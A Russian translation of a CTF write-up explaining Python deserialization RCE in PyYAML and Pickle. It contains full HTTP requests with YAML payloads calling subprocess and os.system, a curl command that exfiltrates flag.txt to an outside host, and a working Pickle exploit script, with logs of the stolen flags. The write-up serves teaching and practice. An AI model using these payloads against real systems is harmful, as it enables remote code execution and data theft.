Эксплуатация уязвимостей, связанных с десериализацией, в Python

Эксплуатация уязвимостей, связанных с десериализацией, в Python

В этой статье я расскажу об эксплуатации проблем в механизме десериализации, используемого в библиотеках PyYAML и Pickle.

Автор: 1N3 (CrowdShield)

Недавно я принимал участие в мероприятиях ToorConCTF (https://twitter.com/toorconctf), где впервые имел опыт работы с брешами сериализации в Python. В двух заданиях, которые мы выполнили, исследуемые сущности работали на базе библиотеки в Python и использовали сериализованные объекты, что впоследствии становилось причиной уязвимостей, приводящих к удаленному выполнению кода (Remote Code Execution; RCE). Поскольку у меня возникли некоторые трудности с поиском материала по этой тематике, я решил написать пост с описанием моих открытий и кодом эксплоитов. В этой статье я расскажу об эксплуатации проблем в механизме десериализации, используемого в библиотеках PyYAML и Pickle. Начинаем!

Базовые сведения

Перед погружением в суть заданий, возможно, следует кратко коснуться основ затрагиваемого вопроса. Если вы не знакомы с уязвимостями, связанными с десериализацей, в выдержке из статьи Стивена Брина (@breenmachine) из команды Fox Glove Security  (https://foxglovesecurity.com), вероятно, суть этого класса брешей объясняется наилучшим образом:

«Существование уязвимостей десериализации связано с тем, что в большинстве языков программирования есть встроенные методы для пользователей, предназначенные для вывода данных приложения на диск или для дальнейшей передачи по сети. Процесс преобразования информации из приложения в другой формат (обычно бинарный), которые пригоден для передачи, называется сериализацией. Процесс чтения данных обратно после сериализации называется десериализацией. Уязвимость находится в коде, отвечающим за принятие сериализованных объектов от пользователей и выполняющим десериализацию для последующего использования в приложении. В зависимости от языка программирования эта схема может привести к различным последствиям, но наиболее интересная для нас – возможность удаленного выполнения кода».

Удаленное выполнение кода при десериализации в библиотеке PyYAML

В первом задании нам выдали URL веб-страницы с формой загрузки YAML-документа. После поиска примеров подобных документов я создал тестовый файл для загрузки с целью понять логику работы формы.


Рисунок 1: Форма для загрузки YAML-документов

HTTP-запрос:

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857
 
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml
 
---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun <module> 
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them
# #resize_to: 2048
'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"
 
 
-----------------------------200783363553063815533894329--
 
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/
 
<!-- begin message block --> 
<div class="container flashed-messages"> 
  <div class="row"> 
    <div class="col-md-12"> 
      <div class="alert alert-info" role="alert"> 
 
        test.yaml is valid YAML
      </div> 
    </div> 
  </div> 
</div> 
<!-- end message block --> 
 
    </div> 
 
</div> 
 
  <div class="container main" > 
    <div class="row"> 
        <div class="col-md-12 main"> 
            
  <code></code> 

Как видно из запроса выше, документ был успешно загружен, однако в результате лишь появилась информация о том, что загрузился корректный YAML-документ. На тот момент у меня не было отчетливого понимания, что делать дальше. Но после более подробного изучения содержимого ответа я заметил, что сервер работает на базе gunicorn/19.7.1.

Быстрый поиск выявил, что Gunicorn представляет собой веб-сервер на базе Python. Сей факт натолкнул меня на мысль о том, что YAML-парсер на самом деле был Python-библиотекой. Далее я решил поискать уязвимости в библиотеке Python YAML и нашел несколько статей с описанием брешей, связанных с десериализацией, в PyYAML, где был код, запускающий команду «ls» в случае, если приложение имеет проблемы в механизме десериализации:

!!map {
  ? !!str "goodbye" 
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

Далее я решил сразу перейти к процессу эксплуатации и добавил полезную нагрузку в документ, загружаемый при помощи пакета Burp Suite.
HTTP-запрос:

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 445
 
-----------------------------200783363553063815533894329 
Content-Disposition: form-data; name="file"; filename="test.yaml" 
Content-Type: application/x-yaml
 
---
!!map {
  ? !!str "goodbye" 
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}
 
-----------------------------200783363553063815533894329 
Content-Disposition: form-data; name="upload" 
 
 
-----------------------------200783363553063815533894329--
 
<ul><li><code>goodbye</code> : <code>Dockerfile
README.md
app.py
app.pyc
bin
boot
dev
docker-compose.yml
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
requirements.txt
root
run
sbin
srv
static
sys
templates
test.py
tmp
usr
var
</code></li></ul> 

Как видно из кода выше, полезная нагрузка сработала, и мы смогли выполнить код на целевом сервере. Теперь, все что нам нужно - прочитать файл flag.txt.

Однако я быстро выяснил, что вышеуказанный метод может запускать только одну команду (например, ls, whoami, и т. д.). Сей факт означает, что считать файл flag.txt при помощи этого способа мы не сможем. Затем я выяснил, что Python-вызов под именем os.system также позволяет удаленное выполнение, но уже нескольких команд, однако в процессе использования этого метода я получал значение «0» вместо результата выполнения команды. Затем мой напарник @n0j обратил мое внимание на то, что вызов os.system ["текст команды" ] возвращает «0», если команда выполнилась успешно и не затрагивает обработку подчиненного процесса. Используя этот трюк, я пытался считать файл flag.txt при помощи следующей команды: curl https://crowdshield.com/?`cat flag.txt`

HTTP-запрос:

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438
 
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml
 
---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
 
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"
 
 
-----------------------------200783363553063815533894329--
 
 
</div> 
 
  <div class="container main" > 
    <div class="row"> 
        <div class="col-md-12 main"> 
            
  <ul><li><code>goodbye</code> : <code>0</code></li></ul> 
            
        </div> 
    </div> 
  </div> 

После некоторых проб и ошибок флаг был считан, и мы получили очки в этом соревновании!

Логи удаленного веб-сервера Apache:

34.214.16.74 - - [02/Sep/2017:21:12:11 -0700] "GET /?ItsCaptainCrunchThatsZeldasFavorite HTTP/1.1" 200 1937 "-" "curl/7.38.0" 

Десериализация в библиотеке Python Pickle

В следующем задании нам дали хост и порт для соединения: ganon.39586ebba722e94b.ctf.land:8000. После первоначального подключения никаких результатов не отобразилось, и я решил отправлять на открытый порт случайные символы и HTTP-запросы. После того как дело дошло до инжектирования одиночного символа «’» я получил следующую ошибку:

# nc -v ganon.39586ebba722e94b.ctf.land 8000
ec2-34-214-16-74.us-west-2.compute.amazonaws.com [34.214.16.74] 8000 (?) open
cexceptions
AttributeError
p0
(S"Unpickler instance has no attribute 'persistent_load'"
p1
tp2
Rp3
.

Место, которое сразу же бросается в глаза – S"Unpickler instance has no attribute 'persistent_load'" (у экземпляра Unpickler нет атрибута 'persistent_load'). Я тут же начал искать информацию, касающуюся этой ошибки, и нашел несколько ссылок на библиотеку сериализации с именем "Pickle".

Вскоре стало понятно, что эта ошибка стала следствием еще одной уязвимости, связанной с десериализацией, которая позволила получить флаг. Далее я поискал эксплоиты на базе брешей десериализации библиотеки Pickle и нашел код, схожий с тем, что показан ниже. После доработки кода я получил рабочий эксплоит, посылающий сериализованный объекты на целевой сервер, содержащие команды по моему выбору.

Код эксплоита:

#!/usr/bin/python 
# Python Pickle De-serialization Exploit by 1N3@CrowdShield - https://crowdshield.com 
# 
 
import os
import cPickle
import socket
import os
 
# Exploit that we want the target to unpickle 
class Exploit(object): 
    def __reduce__(self): 
        # Note: this will only list files in your directory. 
        # It is a proof of concept. 
        return (os.system, ('curl https://crowdshield.com/.injectx/rce.txt?`cat flag.txt`',))
 
def serialize_exploit(): 
    shellcode = cPickle.dumps(Exploit())
    return shellcode
 
def insecure_deserialize(exploit_code): 
    cPickle.loads(exploit_code)
 
if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode
 
    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect(("ganon.39586ebba722e94b.ctf.land", 8000))
    print soc.recv(1024)
 
    soc.send(shellcode)
    print soc.recv(1024)
    soc.close()

Пример эксплуатации:

# python python_pickle_poc.py cposix system p1 (S"curl https://crowdshield.com/rce.txt?`cat flag.txt`" p2 tp3 Rp4 .

К моему удивлению этот трюк сработал и смог увидеть содержимое файла flag.txt в логах моего Apache!

Логи удаленного веб-сервера Apache:

34.214.16.74 - - [03/Sep/2017:11:15:02 -0700] "GET /rce.txt?UsuallyLinkPrefersFrostedFlakes HTTP/1.1" 404 2102 "-" "curl/7.38.0" 

Заключение

Теперь вы знаете два практических примера эксплуатации сериализации в Python для выполнения кода в удаленных приложениях. Я получил большое удовольствие и много опыта, участвуя в этих соревнованиях. К сожалению, из-за разных обстоятельств я не смог уделить этим состязаниям больше времени. В итоге наша команда «SavageSubmarine», составе которых принимали участие @hackerbyhobby, @baltmane and @n0j (http://n0j.github.io/), заняла 7 место.

До скорых встреч.

Ваш провайдер знает о вас больше, чем ваша девушка?

Присоединяйтесь и узнайте, как это остановить!